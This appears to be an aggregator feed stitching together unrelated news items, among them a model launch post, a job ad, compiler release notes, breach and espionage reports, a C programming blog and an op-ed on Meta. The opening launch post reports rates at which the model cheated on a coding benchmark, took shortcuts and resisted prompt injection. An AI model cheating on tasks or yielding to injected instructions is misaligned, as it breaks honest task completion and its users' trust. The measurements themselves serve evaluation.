Our teams are already seeing strong gains in cyberdefense. On internal benchmarks, Carbon achieves more than 2x uplift in success rate for generating secure code over Argon. As another example, the Chrome team has reported that Carbon performed more than 10X better than another lab's large frontier model when generating high quality patches. Wiz, our leading Cloud security platform, also observes Carbon leading on benchmarks for web penetration testing, a core capability for Wiz's Scan for Good initiative.

Carbon excels across key external benchmarks (evaluated without guardrails):

Finding real vulnerabilities: Core to cybersecurity defense is finding real vulnerabilities. Carbon achieves a state-of-the-art 88.2% on SEC-bench Pro , autonomously uncovering complex flaws buried in real-world software.

SEC bench Pro chart

Validating risk through exploitation: To prioritize which vulnerabilities to remediate first or remediate at all, cyber defenders increasingly rely on models to check which vulnerabilities are exploitable. Carbon sets a new state-of-the-art on the popular exploitation benchmark ExploitGym (54.8%).

chart showing ExploitGym benchmark

Patching at the root cause: Ultimately after identifying the vulnerabilities, fixing the root cause is a critical step in the cybersecurity defense lifecycle. Carbon reaches 71.0% on Collinear’s CWE-bench , turning validated findings directly into working code fixes.

chart showing CWE-bench

Advancing frontier model safety & security

Gemini 4 Carbon builds on the same multi-layered safety and security stack of Argon — combining model training, real-time misuse defenses, prompt-injection resilience, and chain-of-thought monitoring. In particular, we made significant strides in model alignment with Argon, and reported its propensities to behave in an aligned way in our Safety and Security report . With Carbon, we challenged ourselves to go a step further on alignment, and trained the model to respond to complex or high-pressure tasks in the right way.

Reducing shortcuts and loophole exploitation: With Carbon, we further mitigated shortcut attempts in training while ensuring high-quality coding performance. Carbon reduced successful cheating on Terminal-Bench 4.0 to 0.0%, with attempts to cheat dropping to 0.4% — all while improving overall accuracy. In live coding environments with our internal teams, we observed that high-severity misalignment alerts dropped by almost 80%.
Greater transparency and honesty: In our internal testing, Carbon cuts unsupported claims by approximately 2x over Argon. It puts methodological caveats directly into the deliverable or withholds blocked actions with a clear list of what remains required, rather than fabricating or hedging around missing evidence.
Improved collaboration with the user in the face of ambiguity: Rather than guessing or forcing a path forward, Carbon retrieves the relevant sources and surfaces discrepancies to the user before acting — as a result, users should observe a much better collaborative experience with Carbon.
Following through without overstepping: Carbon simultaneously reduced overreach by 26% and under-service by 29% resulting in much more reliable execution of multi-step plans end-to-end while respecting project constraints and staying strictly within scope.
Resisting prompt injection: While Argon previously led the Gray Swan’s Indirect Prompt Injection (IPI) Benchmark in prompt injection resistance with a very low 0.7% attack success rate, Carbon achieves 0.0% — resisting every evaluated attack attempt.

chart showing Gray Swan IPI benchmarks

Coming soon to developers, businesses, and consumers

Pushing the frontier forward requires moving fast while remaining deliberate about deployment. With Gemini 4 Carbon, our goal is to deliver meaningful leaps in software engineering and cybersecurity defense without compromising on safety or reliability. We’re eager to see how the initial cohort of cyber defenders use this model and we look forward to bringing Carbon to developers, businesses, and consumers soon.

Back to careers

NYC, in-person 4+ years $180K to $240K + 0.3% to 0.5% equity

About Converge

We're building agents that buy and scale ads for consumer brands like Hims & Hers. They automate all parts of the growth engine: launching, scaling, learning from results, and producing new ads to close the loop.

Today they make over 90% of all budget changes in the ad account, managing $1M+ in daily budgets . They learn from user feedback and proactively look for more work to automate.

We're a team of 13 , in-person in New York City , and you'd be our first platform engineer . We scaled to $3M in ARR , serving 200+ customers, and have raised $5.7M from Y Combinator, General Catalyst, and the founders of PostHog and Algolia.

What you'll do

We’re looking for a founding engineer to own and build out the platform powering our agents.

We are just 3 product engineers and already operate systems most companies don’t touch until much later :

Handling $6 billion in annual revenue
Ingesting 20 TB every month
10,000 jobs / s at peak
Queries join and aggregate 100s of GBs in seconds , fully real-time .

This is not a typical SRE, systems, or backend engineering role . You will:

Drive your own roadmap
Go super deep on the hardest infra and systems problems
Work with product engineers to ship product that scales to the world’s largest consumer brands.
Automate yourself with AI. Use coding agents for everything you do: hillclimbing benchmarks, profiling queries, monitoring, debugging incidents, writing code, ...

Some examples of what you’ll be working on:

Build out services that can ingest up to a trillion jobs / month
Stare at esoteric Clickhouse CPU and memory flamegraphs
Figure out how to materialize our attribution dataset to scale joining and aggregating billions of rows in realtime
Build a SQL dialect for our agents to directly query the data in Converge

This role is NOT for you if

You prefer to architect systems over building them. You will implement everything you design. Expect to be coding, a lot .
You want to own "big tech" style, multi-quarter migrations. We work with daily and weekly timelines.
You prefer working remote over in-person . We all love working from our NYC office.

What we’re looking for

Very strong coding skills. We mostly work with Python, you should be familiar with more performant languages.
Deep understanding of databases (OLTP & OLAP, we work with Postgres & Clickhouse)
Experience at scale . You’ve seen first hand where things fall over in data-heavy systems.
You’re pragmatic and customer-minded . The best solutions involve a deep understanding of what customers need and of what’s not needed .

Compensation

Salary: $180K - $240K + equity: 0.3% - 0.5%.
Private medical, dental, and vision insurance.
Pension & 401(k) contributions.

Interviews

Intro call 15 min

We learn about your motivations to join Converge, determine why you'd be a great fit, and answer any questions you have for us.

Hoot 0.10.0 released

Lobsters

Original Article

Dave Thompson — October 28, 2026

We are excited to announce the release of Hoot 0.10.0! Hoot is a Scheme to WebAssembly compiler backend for Guile , as well as a general purpose WebAssembly toolchain. In other words, Scheme in the browser!

This release contains new features and bug fixes and since the 0.9.0 release back in May.

Use Hoot in the upcoming Lisp Game Jam!

On Friday (October 30th 2026), the autumn edition of the Lisp Game Jam will begin! It's a 10-day long game jam where participants make games using their favorite flavor of Lisp.

Does making a small web game in Scheme using Hoot sound appealing to you? Well, then we have just the thing to get you started: the Hoot game jam template! This template project has everything you need to start making an HTML5 game with Hoot quickly.

The template repository includes:

Bindings to the necessary web APIs to make an interactive game with HTML5 canvas
A Makefile for compiling, running a development web server, and generating a .zip bundle for uploading to itch.io
A very simple Breakout-like example game that demonstrates how to put all the pieces together

For more inspiration, here are some games made with Hoot for past jams:

Now, onto the release notes!

Compiler changes

Added module name to contextualize duplicate import errors.
Added support for library versioning for R6RS compatibility.
Fixed default version for define-module libraries.
Fixed locate-library not respecting configured load extensions. Previously, we were using Guile's load extension parameter instead of Hoot's own.

Runtime changes

Added %struct-ref and %struct-set! primitives for accessing record types defined using the interpreter.
Stopped raising errors when importing an undefined symbol in the runtime module system. Guile is lax about this so Hoot being strict caused compatibility issues.
Fixed optional argument parsing in primitive-eval .
Fixed keyword argument parsing for procedures with both optional and keyword arguments in primitive-eval .
Fixed error messages regarding runtime module registry to include the correct CLI flag: -fruntime-modules .

Scheme changes

Added partial implementation of SRFI-13 : String Libraries. It's just a set of re-exports, very similar to Guile, but Guile's SRFI-13 module is not declarative and is thus rejected by Hoot's compiler.
Added partial implementation of SRFI-60 : Integers as Bits.
Added define-macro , defmacro , delete , list->symbol , and symbol to (guile) .
Exported define-syntax-parameter and syntax-parameterize , symbol-append , integer-length , and gensym from (guile) .
Added list->bitvector and bitvector to (hoot bitvectors) and re-exported them in (guile) .
Implemented get-bytevector-all in (rnrs io ports) .
Made bytevector=? a publicly exported procedure from (hoot bytevectors) and (rnrs bytevectors) .
Added define-syntax-parameter and syntax-parameterize primitives.
Improved (ice-9 exceptions) exports to more closely match Guile.
Added (rnrs) module.
Added (rnrs base) module.
Added (rnrs syntax-case) module.
Added (rnrs r5rs) module.
Added (rnrs hashtables) module.
Added (rnrs files) module.
Added (rnrs enums) module.
Added (rnrs exceptions) module.
Added (rnrs arithmetic fixnums) module.
Added (rnrs records inspection) module.
Added (rnrs records procedural) module.
Added (rnrs records syntactic) module.
Added (rnrs io simple) module.
Added (rnrs io ports) module.
Added port-has-position? to (hoot ports) for R6RS compatibility.
Added stubs for centered division to (hoot numbers) and a stub for integer-length to (hoot bitwise) for R6RS compatibility (eventually).
Rewrote (rnrs bytevectors) as an R6RS module with version (6) .
Fixed number->string to round floating point decimal part to an even digit.
Fixed number->string for floating point numbers ±2^N, where 52 <= N <= 1023.
Fixed incorrect bytevector copy in number->string floating point conversion algorithm.
Fixed min / max macros not working when given zero arguments.
Fixed the parameters to the log procedure in (guile) .
Fixed the implementation of negate in guile . It was doing entirely the wrong thing.

CLI changes

Port numbers are now validated to be exact integers in the range [1, 65535].
Actually complain about invalid option or unknown subcommand. Previously, the code that was supposed to do this was unreachable.
Add --experimental-wasm-exnref feature flag when running hoot compile --run=node for continued compatibility with supported NodeJS versions that don't have the new Wasm exnref feature enabled by default.
Fixed build-time disabling of hoot server . In past releases, the hoot CLI script would still attempt to load should-be-optional libraries that ./configure had already determined to be missing. Thanks to mcc for discovering this blunder.

Documentation changes

Sony ISP subsidiary data breach exposes 2.5 million customer records

Sony Network Communications has confirmed a data breach that compromised approximately 2.5 million records containing current and former customers’ personal information.

A Sony Group Corporation subsidiary, the company provides telecommunications and technology services, acting as an internet service provider (ISP) in Japan.

The breach occurred on October 19 and was detected four days later, when the company shut down the compromised servers and blocked external communication.

In an announcement yesterday , the company said that its So-net member database, supporting its internet access service, was accessed by an unauthorized party.

The investigation confirmed that a total of 2,585,481 customer records had been exposed, including the following types of information:

Full names
Phone numbers
Email addresses
User IDs
Dates of birth
Gender
Internet Connection IDs

No banking, payment card, or other account details were exposed.

An additional 54,401 email addresses from several email services were also exposed along with account passwords. The company advises users to change their passwords.

In the breakdown of exposed records, Sony Network Communications says there are 2,141,986 So-net entries and 443,495 plala (S Course) records. The latter impacts another internet service provider, NTT Docomo, which contracts Sony Network Communications to provide its Docomo Hikari services.

NTT Docomo also notified customers about the breach and warned of phishing emails and fake websites impersonating its d POINT Club and a Universal Studios Japan (USJ) campaign, falsely claiming that recipients had won and prompting them to enter personal information to claim tickets.

Docomo says the incident affects all current Hikari service clients and those who canceled within the preceding six months.

Sony reported the incident to Japan’s Personal Information Protection Commission and is investigating its cause and scope.

As of October 27, neither company had confirmed misuse of the exposed data in the wild.

Since the start of the year, multiple cyberattacks have targeted high-value companies and providers in Japan.

One of the most recent is the incident at GMO Internet Group and its Onamae Desktop Cloud service, which suffered a widespread malware attack on customer servers .

Telecommunications giant KDDI suffered a breach affecting 12 million customers, and IDC Frontier was targeted by ransomware .

Previously, NTT was hit in early 2025 by hackers who gained access to its systems and stole the data of 18,000 corporate customers .

The recent rate of data breaches is so unprecedented and threatening that the Japanese government held urgent meetings on Monday to plan its response.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

GitHub Octoverse 2026 . I'm at GitHub Universe today (GitHub gave me a free ticket through their "GitHub Stars" program). EVP Jay Parikh just announced this year's Octoverse report, and highlighted these numbers in particular:

This is a pretty stark representation of the impact of agentic engineering on GitHub. In 2026, merged pull requests tripled in less than a year to 220 million per month. Commits more than tripled to 7.38 billion per month, with most of that increase in the second half of this year. New repository rate doubled this year, to 30.3 million per month.

The report includes new numbers by industry, and breaks out numbers for repositories that involve "interoperability or reverse engineering". The methodology section includes notes about how they did this:

Top countries by pushes to public repositories, adjusted by profile location . Pushes from each country were summed across the Octoverse year. To adjust for biases caused by VPN usage, LLM classification was used to extract the ISO 3166-1 alpha-2 code from the profiles of GitHub users who contributed pushes during this period [...]

Industry . Public repositories created 2022 to 2026 were sorted into NAICS sectors by a fine-tuned multilingual embedding model using name, description, topics, and README, from random samples per year. [...]

Interoperability . Counts public repositories created each year whose name, description, topics, or README mention interoperability or reverse engineering, or related terms, such as clean room implementation, drop-in replacement, or protocol re-implementation.

GOTO Considered Totally Sick (for error handling in C)

Original Article

I recently started writing C again for the first time since 2018, and handling errors has been an especially difficult adjustment coming from languages like Go and Zig that coddle me with their wonderful defer and errdefer . Then I read some emails from John Carmack on inlined code that gave me an epiphany on writing cleaner error handling code, and now I want to share it with the world.

But First Let’s Defer

I write Go all day at my dayjob, and error handling is pretty trivial. When there’s an error we wrap it and bubble it up, and let some top dog up the call stack figure out what they want to do with it. If there is resource cleanup involved, it’s made easy with defer :

type Doer interface {
    MightError(int) error
    Lock()
    Unlock()
}

func SomeFunc(d Doer) error {
    d.Lock()
    defer d.Unlock()

    if err := d.MightError(3); err != nil {
        return errors.Wrap(err, "Doer.MightError()")
    }

    // the rest of this very important function has been hidden from you for esoteric reasons
}

Sometimes there’s more complicated handling, but in 99% of scenarios it’s that simple because Go doesn’t have manual memory allocation and you don’t need to worry about cleaning it up when there’s an error.

Zig on the other hand does require you to manually manage memory, which I find a little more difficult because I’m not experienced enough for it to be second nature like it is when I write Go. Here’s a snippet from my toy multiplexer that uses errdefer :

fn init(allocator: std.mem.Allocator, env_map: *std.process.Environ.Map, cfg: Config) !Model {
    const sh = env_map.get("SHELL") orelse "/bin/sh";
    const shell_z = try std.fmt.allocPrintSentinel(allocator, "{s}", .{sh}, 0);
    errdefer allocator.free(shell_z);

    const posix_block = try env_map.createPosixBlock(allocator, .{});
    errdefer posix_block.deinit(allocator);

    const tabs: []Tab = try allocator.alloc(Tab, cfg.commands.len);
    errdefer allocator.free(tabs);

    const pipes: []Pipe = try allocator.alloc(Pipe, cfg.commands.len);
    errdefer allocator.free(pipes);

    // all done with allocations (and errors)
    errdefer comptime unreachable;

    // the rest of this function has been stolen by bilgerats
}

I’m allocating memory for several types, and because any one of the allocations can fail I need to handle freeing up each succesful memory allocation that preceded the failure. Zig’s errdefer makes this easy, there’s no manual tracking of what needs to be freed at any point, because the deferred statements will execute in reverse order if the function returns an error. Also I’m following the Reserve First pattern, which is where I learned errdefer comptime unreachable from.

This is the C Part

Now, enter C. There’s no defer or errdefer . I’ve painted myself into a corner with some ugly code a few times because I’m so used to those tools that I don’t regularly plan ahead for what my error handling control flow will look like. Until recently I’ve been writing code that looks like this:

struct S {
    int foo;
};

S** some_func(const char** paths, const size_t n) {
    struct S** s = calloc(n, sizeof(S*));
    if (s == NULL) {
        return NULL;
    }

    for (int i = 0; i < n; i++) {
        s[i] = malloc(sizeof(S));
        if (s[i] == NULL) {
            for (int j = 0; j < i; j++) {
                free(s[j]);
            }
            free(s);

            return NULL;
        }

        int fd = open(paths[i], O_RDONLY);
        if (fd == -1) {
            for (int j = 0; j <= i; j++) { // note the <= instead of <
                free(s[j]);
            }
            free(s);

            return NULL;
        }

        struct stat buffer;
        if (fstat(fd, &buffer) == -1) {
            for (int j = 0; j <= i; j++) {
                free(s[j]);
            }
            free(s);
            close(fd);

            return NULL;
        }
        *(s[i]) = (struct S){ .foo = buffer.st_size };

        close(fd);
    }

    return s;
}

Do you see how resource cleanup is slightly different across each error handling if-block? Yuck! Yeah yeah yeah, I know it’s a terrible, contrived example, and nobody would ever write C like this. Except me like 3 weeks ago. I knew something was wrong when I wrote code like this, but I was hopelessly defer -brained in a world where defer hadn’t been born yet. Some classmates had mentioned using goto but I couldn’t really wrap my head around it. (We can’t share code with eachother otherwise the university would have us killed).

Then when I read those John Carmack emails something clicked. Carmack doesn’t mention goto explicitly, but these two thoughts in particular were the special sauce I needed to help me understand (emphasis mine):

A quote from Henry Spencer describing control flow in some flight software:

It disallowed both subroutine calls and backward branches, except for the one at the bottom of the main loop. Control flow went forward only . Sometimes one piece of code had to leave a note for a later piece telling it what to do, but this worked out well for testing: all data was allocated statically, and monitoring those variables gave a clear picture of most everything the software was doing.

And Carmack on moving code out of large conditional blocks (emphasis mine):

Enclosing pages of code inside a conditional or loop statement does have readability and awareness drawbacks, so leaving that code in a separate function may still be justified, but in some cases it is still possible to move the code to another place where its execution wouldn’t be conditional , or just execute it at all times and inhibit the results in some way with a very small conditional block.

Ohmygodigetitnow. Instead of having multiple exit points scattered throughout my function, each performing their own resource cleanup, I can put all resource cleanup behind a single exit point at the very end of the function. Guarding cleanup behind the default return, only reachable using a goto , is kinda like a psuedo- errdefer . Hooray! Hooray for John Carmack and Henry Spencer!! Now let’s rewrite the function above using this brand new discovery:

struct S {
    int foo;
};

S** some_func(const char** paths, const size_t n) {
    struct S** s = calloc(n, sizeof(S*));
    if (s == NULL) {
        return NULL;
    }

    for (int i = 0; i < n; i++) {
        s[i] = NULL;
    }

    for (int i = 0; i < n; i++) {
        int fd = open(paths[i], O_RDONLY);
        if (fd == -1) {
            goto free_mem;
        }

        struct stat buffer;
        int fstat_ok = fstat(fd, &buffer);
        close(fd);
        if (fstat_ok == -1) {
            goto free_mem;
        }

        s[i] = malloc(sizeof(S));
        if (s[i] == NULL) {
            goto free_mem;
        }

        *(s[i]) = (struct S){ .foo = buffer.st_size };
    }

    return s;

free_mem:
    for (int i = 0; i < n; i++) {
        free(s[i]);
    }
    free(s);

    return NULL;
}

I’d say that’s much simpler to read! And it should be less prone to bugs from expanded responsibilities over time, because there’s only one spot where resource cleanup needs to be modified. You could also use multiple labels to split cleanup into sections, if you only wanted to cleanup a subset of resources. I’m sure this is an obvious concept to most seasoned C programmers, but I’m real happy I learned something new that’ll help me write better code.

Update : after sharing this post on IRC, I got some helpful feedback about using calloc instead of malloc when doing allocations that might overflow (i.e. n * sizeof(T) ), and some restructuring of the for loop in the second C example that makes the code even simpler.

This pattern is also mentioned in the Linux kernel coding style guide .

Thanks for reading :)

Kine Musubi serves their signature dish with Spam, of course, but also shrimp, shiso, and a bunch of vegan options....

Original Article

Chi Ian Chan spent his first 30 years in O'ahu, Hawaii, growing up in Honolulu's Chinatown. And he's quick to tell you that he never surfed a day in his life (he prefers skateboarding). Four years ago, he left his native island for Manhattan—specifically, Hell's Kitchen—to be with his now-wife and business partner Lizzy Han.

Chan loves his new home, but he told Hell Gate that the thing he missed the most about life in the South Pacific was musubi, the classic Hawaiian rice-and-Spam snack that's ubiquitous in Honolulu, but shockingly difficult to find here.

"There was no musubi in New York that satisfied my cravings," he said, "so I made my own." Chan started selling it over a Facebook neighborhood group. That led to a series of Sunday musubi pop-ups at an Upper West Side sushi restaurant, and then, upping his commitment in May of 2025, to signing a lease for a slender space on prime West 72nd Street. After sixteen months of waiting on permits and for construction to be completed, the neighborhood now boasts the city's only musubi shop, Kine Musubi .

Meta censored the No Kings Instagram account during a nationwide campaign

Original Article

On 17 October, Meta suspended the official Instagram account of the No Kings Coalition during a nationwide campaign that was aimed at encouraging Americans to vote early in the 3 November midterm elections. Almost 3,000 events were taking place across the United States. Organisers lost access to their account at approximately 1:30pm Eastern Time, when they needed it to communicate with participants.

Meta initially blamed excessive posting, sharing, and commenting. The following day, its Vice President of Communications, Andy Stone , changed the explanation. Meta now claims that software using Claude AI was reading Instagram profiles, posts and hashtags at 4 times the normal rate.

The account became publicly visible again after approximately 90 minutes, but organisers couldn’t publish anything until Meta restored access hours later at 5:33pm.

Meta censored a political organisation during a national voting campaign, blamed its own automation, then claimed its automated systems had detected another automated tool. Meta admitted the suspension was wrong, but none of its explanations account for what happened from a technical standpoint.

Meta’s response is exactly what independent technical experts like me have warned about. I point this out because we can’t allow tech companies to avoid responsibility and accountability for their actions by blaming AI.

Tech companies are blaming everything but themselves. Meta is a company whose technology can infer what flavour of ice cream a 7-year-old likes from something her uncle’s dog posted on Instagram in 2020, yet apparently can’t explain why its own systems censored a political organisation at one of the most critical moments in its history.

This is my independent technical analysis of Meta’s actions, not an endorsement of the No Kings Coalition or its politics. It doesn’t matter if you support or oppose this organisation, you should be deeply concerned that Zuckerberg can censor anyone, including people or organisations you support, without providing evidence or accountability. The same filters can be used against anyone whose views conflict with Meta’s commercial or Zuckerberg’s political interests, now or in the future.

On 17 October, Andy Stone wrote :

Stone blamed unusually frequent activity by the account itself, but the organisers disputed this, saying they’d published only a handful of posts and were livestreaming the events. Given how easily Meta’s own records could prove or disprove that claim, I suspect the company needed a more convincing explanation.

A day later, Stone provided a different explanation, saying the activity was primarily the account’s “reading” behaviour.

We have continued to dig into the root cause here and would like to offer an update. Our engineering team discovered that the spike that triggered the incorrect enforcement was primarily in the account’s “reading” behavior. Specifically, our network security systems detected…

Posting and reading are completely different activities, something a competent developer or data scientist could identify within minutes by examining the activity logs. Publishing posts, sharing content and commenting involve sending information to Instagram. Reading profiles, posts and hashtags involves requesting information from Instagram.

Meta initially blamed the organisation’s publishing activity. Its engineers then identified reading activity instead.

Stone should explain what evidence supported his first and second statement.

In his revised statement, Stone said Meta’s security systems had detected “the use of a Claude tool reading profiles, posts, and hashtags”.

Meta explicitly named Anthropic’s AI software but didn’t identify the tool, who operated it or whether the No Kings organisers had authorised it.

Is Meta suggesting that using Claude to access Instagram is prohibited? If so, which policy was violated? If not, why did Meta suspend the organisation’s account instead of restricting the automated requests?

Stone said the rate of requests “sharply increased (~4x volume) in intense bursts”.

Four times what?

If an account normally receives 100 requests during a particular period, four times that means 400. If it normally receives 100,000, the increase means 400,000.

My LinkedIn posts typically reach between 2,000 and 250,000 readers, while my posts on X range from 1,500 to 1.2 million. Sudden increases in activity are normal on social media.

Stone’s reference to “intense bursts” sounds alarming but provides no meaningful technical information without the actual request counts, timeframe and frequency. Even a small number of automated requests can arrive in intense bursts. What Meta hasn’t established is why those requests justified suspending the organisation’s account.

Reader counts and automated requests are different measurements, so the size of an audience alone cannot establish whether Meta’s security threshold was reasonable.

Without the actual numbers, the measurement period and Meta’s security thresholds, the figure doesn’t tell us anything.

The No Kings Coalition was coordinating almost 3,000 events. Increased activity involving its Instagram account was entirely predictable.

Meta is using a percentage without providing the numbers needed to determine if the activity justified suspending a political organisation.

Stone said the requests “resembled automated bot traffic rather than an ordinary human browsing our systems”.

I founded a venture-backed cybersecurity company in Silicon Valley in 2010 and built the first security chatbots in the world - they automated actions on platforms like Slack, HipChat, Messenger, and Telegram between 2015 and 2019. I can say with confidence that automated activity isn’t inherently a security violation. No competent cybersecurity professional or chatbot developer would automatically classify automation as malicious. That makes no technical sense. Search engines, monitoring tools, research applications and AI assistants make billions of automated requests every hour of every day. Platforms have systems that are designed to identify excessive traffic, restrict access credentials and block requests that violate their policies.

Does Meta apply the same restrictions to people using its own AI assistant, Muse, to automate interactions with Facebook and Instagram? If not, why?

Stone claimed an automated review recognised the suspension was wrong and restored the account approximately an hour later. This is disingenuous. Meta restored public visibility, but the organisers remained locked out for hours. By saying the account had been restored, Stone concealed the fact that Meta was still preventing the organisation from publishing. Even when explaining a mistake of this magnitude, Meta chose language that obscured what actually happened.

The No Kings organisers reported that their Instagram page became publicly visible again after approximately 90 minutes, but they still couldn’t use it. People managing the account remained locked out until 5:33pm Eastern Time.

Meta’s own automated review had already decided that the suspension was wrong, yet the organisers remained unable to publish posts or communicate with supporters during their nationwide campaign.

Stone later said that restoring administrative access took additional time. Why? The only credible explanation in my view, is that restoring meaningful access required a Meta employee with the necessary authority. That suggests someone had to approve the reversal of a suspension Meta had already admitted was wrong. Meta should identify who controlled that decision, who authorised the restoration and why the organisers were kept locked out.

Restoring an Instagram page that its organisers still can’t use doesn’t restore their ability to communicate. Meta’s decision to censor them continued affecting the organisation after its own systems had recognised the suspension was wrong.

Stone described the original enforcement action as “clearly taken in error”. There’s nothing clear about it. It’s clear to me that the opposite to what he says is more likely to be true.

An automated system doesn’t independently decide which behaviour violates Instagram’s policies, especially when it comes to such prominent accounts.

The No Kings Coalition is one of America’s most prominent anti-Trump movements, organising nationwide demonstrations that involve millions of people across thousands of locations. Suspending its Instagram account during a major mobilisation campaign was a politically significant decision with predictable consequences.

Given the organisation’s prominence, the timing and the public backlash, multiple Meta teams and senior managers had to be involved in decisions about the suspension and restoration. Zuckerberg himself would have been involved, given his hands-on approach to major content moderation decisions.

This wasn’t simply a software error. People made the decisions, and Meta’s automated systems executed them. Restoring public visibility while keeping organisers locked out required separate enforcement decisions that Meta has yet to explain.

Meta’s records can identify which individuals reviewed the incident, who authorised changes, whether senior executives were briefed and why restoring full access took hours.

I wrote article 18 hours ago to explain how in Brazil, Meta blocked the sitting president (Luiz Inácio Lula da Silva) from running normal paid Instagram promotions while its algorithms and WhatsApp recommended his opponent Flávio Bolsonaro. Its AI refused basic Lula campaign material but produced the equivalent for Bolsonaro. Some of Meta’s staff flagged the unequal treatment in real time and escalated it; the company later offered shifting technical excuses that don’t match the dates or the fact that Bolsonaro’s campaign kept using the same tools Lula couldn’t access.

During the election, Meta ran over 1,600 political ads that researchers found were illegal, almost all paid for in US dollars, and only reclassified or removed them after they’d already been shown up to 171.1 million times. Complaints about account suspensions increased 585% during the election year.The Brazil case doesn’t establish that the No Kings suspension was coordinated or deliberate. It establishes another example of politically consequential account restrictions that Meta attributed to technical failures.

Meta controls when political organisations and parties can publish, advertise, appear in recommendations and communicate with their audiences. For high-profile accounts, Meta’s executives are responsible for making those decisions, not automated systems.

Meta has logs that record absolutely everything. They know precisely what triggered the suspension, who or what caused it, which restrictions were imposed and which employees were responsible for each and every action. It also knows why organisers remained locked out after the suspension was reversed.

Meta might not document every decision made by its employees, but its system logs contain the technical evidence needed to explain what happened, unless those records have been deleted.

The public deserves to know why Mark Zuckerberg’s company is censoring political organisations and individuals in ways that just happen to favour the White House’s political agenda, cutting them off from their audiences precisely when they need to communicate most.

Congress should summon the engineers and data scientists responsible for these systems, put them under oath and demand specific technical answers backed by system logs. They shouldn’t be allowed to hide behind corporate statements or blame automation for decisions made by people.

Meta’s engineers and data scientists should answer these questions and provide the technical records, internal communications, and enforcement logs to support their answers. Calling policy staff is pointless. They’ll either deflect or lack the technical knowledge to explain what actually happened.

Why did Andy Stone initially blame excessive posting, sharing and commenting when Meta later blamed reading activity? What evidence supported his first statement, who approved it and when did Meta establish that the explanation was incorrect?
What constitutes fair and acceptable use of Instagram by automated tools? Which activities are permitted, what limits apply, and what specific policy did the alleged Claude tool violate?
Do the same restrictions apply to Meta’s own AI assistant, Muse? Can people use Muse to automate reading, posting and interacting with Instagram and Facebook? If so, why was No Kings suspended for alleged automation, and does Meta apply the same enforcement thresholds to its own AI tools and competing services?
What information was the tool accessing? Was it reading publicly available content, using an authenticated account or attempting to access private information?
What does the fourfold increase actually represent? How many requests occurred, over what period, and what was the normal level of activity? Is a fourfold increase an established threshold for suspending all Instagram accounts, or was a different threshold applied to No Kings? Provide the exact measurements, enforcement thresholds and comparable records showing how Meta treats other accounts experiencing the same increase.
Which security restriction triggered the suspension? Was the decision based on request frequency, suspicious authentication, account behaviour or another classification? Identify the exact policy and technical conditions that triggered enforcement.
Why did Meta suspend No Kings instead of restricting the software making the requests? What evidence established that the organisation was responsible? Why weren’t regular security controls, including IP blocking, rate limiting or access-token restrictions, sufficient?
Did Meta classify No Kings as a politically sensitive account? Were its security thresholds, monitoring arrangements or enforcement procedures different from those applied to other big or contraversial accounts? Provide its account classifications and any associated enforcement policies.
Did any Meta employee manually review, classify, restrict or change settings associated with No Kings before or during the suspension? Identify every action, its timestamp, the employee or team responsible and the reason recorded.
What happened during the automated review that reversed the suspension? Which original finding was overturned, what evidence caused the reversal and which restrictions did the review actually remove?
Why were organisers still locked out after Meta recognised that the suspension was wrong? Which separate restriction remained active, why wasn’t it automatically removed and who or what eventually removed it?
Did any Meta employee manually restore administrative access? Provide the audit records showing when access was restored, which systems were involved and whether an employee intervened.
What happened to scheduled posts, livestreams, notifications and other communications during the suspension? How many people would otherwise have received those communications, and did Meta measure the disruption?
How many political organisations have experienced comparable suspensions? How often has Meta blamed automated activity for restrictions that subsequent reviews found were incorrect? Provide figures for suspensions during elections, protests and other major political events.
Did Meta communicate with any US government official, political campaign, intelligence agency or external organisation about No Kings before or during the suspension? Identify the participants, dates, subjects discussed and whether any communication concerned account restrictions or content distribution.
Will Meta permit independent investigators to examine the account classifications, security logs, enforcement records and restoration history? If not, why?
Were any manual configuration changes, overrides, blocklists or changes to enforcement thresholds applied to No Kings or associated hashtags within 72 hours of the suspension? Identify every change, who authorised it, when it took effect and if it was reversed later on.
Did Meta open an internal security or engineering incident involving No Kings before, during or after the suspension? Provide the incident severity, timestamps, assigned teams, tickets and relevant internal communications between security, engineering, public policy and trust and safety employees.
Does Meta use automated account restrictions or reduced content distribution for accounts involved in political mobilisation? Identify the policies, account classifications, automated enforcement conditions and any testing programmes that can restrict political accounts during periods of unusually high engagement.
Can Meta establish that No Kings would have been suspended under exactly the same conditions if it had been a commercial brand, celebrity or non-political organisation? Provide comparable enforcement records and explain if the coalition’s political classification influenced the decision.
Did Meta’s systems suspend No Kings because of a standard security policy, a special account-level configuration or a manual decision implemented through automation? Provide the configuration history, original enforcement trigger, account-specific settings and audit records needed to establish which explanation is correct.

Meta should not be allowed to answer these questions with another statement about automated systems. Its executives should provide the records that establish what those systems were instructed to do, who authorised those instructions and why the No Kings account was suspended.

If Zuckerberg wants people to believe this was an innocent automated mistake, Meta should release the records that establish it. An apology isn’t evidence.

Volt Typhoon hides zero-day attacks using 'Silent Train' framework

Chinese state-sponsored hacking group Volt Typhoon has been using a framework that relies on rotating chains of connected devices compromised on demand, including for zero-day attacks targeting high-value systems.

The framework has been dubbed Silent Train because the threat actor uses it against select targets, cleans it up after each operation, and refreshes it continuously.

Researchers at Black Lotus Labs, the threat research division of communications company Lumen, have been tracking Silent Train for three years and confirmed that Volt Typhoon exploited at least four zero-day vulnerabilities in attacks targeting edge and management infrastructure.

Targets include telecommunication firms, government agencies, defense contractors, educational institutes, utilities/critical infrastructure, satellite service providers, IT firms, MSPs, transportation, aviation, and emergency services.

Black Lotus Labs’ observations indicate the most targeted regions are California, Texas, and Hawaii, suggesting a focus on Indo-Pacific matters.

**Victims map**

Volt Typhoon previously targeted U.S. critical infrastructure, including communications, energy, transportation, and water systems, with CISA warning that it seeks to establish access for potential disruption during a future crisis or conflict.

According to the researchers, Silent Train's deployment was partly fueled by the FBI's disruption of KV-Botnet , a botnet that Volt Typhoon used to evade detection when attacking critical infrastructure in the US.

**Activity comparison over time**

Silent Train relay network

Silent Train is practically a relay infrastructure formed of compromised devices that Volt Typhoon uses to hide the origin of its attacks.

The operators route their activity through VPS infrastructure outside the United States, then pass it through hacked devices such as routers that act as intermediate relays before launching attacks.

Black Lotus Labs says Intelbras modems served as overseas relays, while Netgear Orbi devices acted as hops in the U.S.

**Silent Train attack overview**
*Source: Black Lotus Labs*

The threat actor's use of Silent Train involves exploiting vulnerabilities, stealing credentials, exfiltrating data, and maintaining persistent remote access to compromised systems.

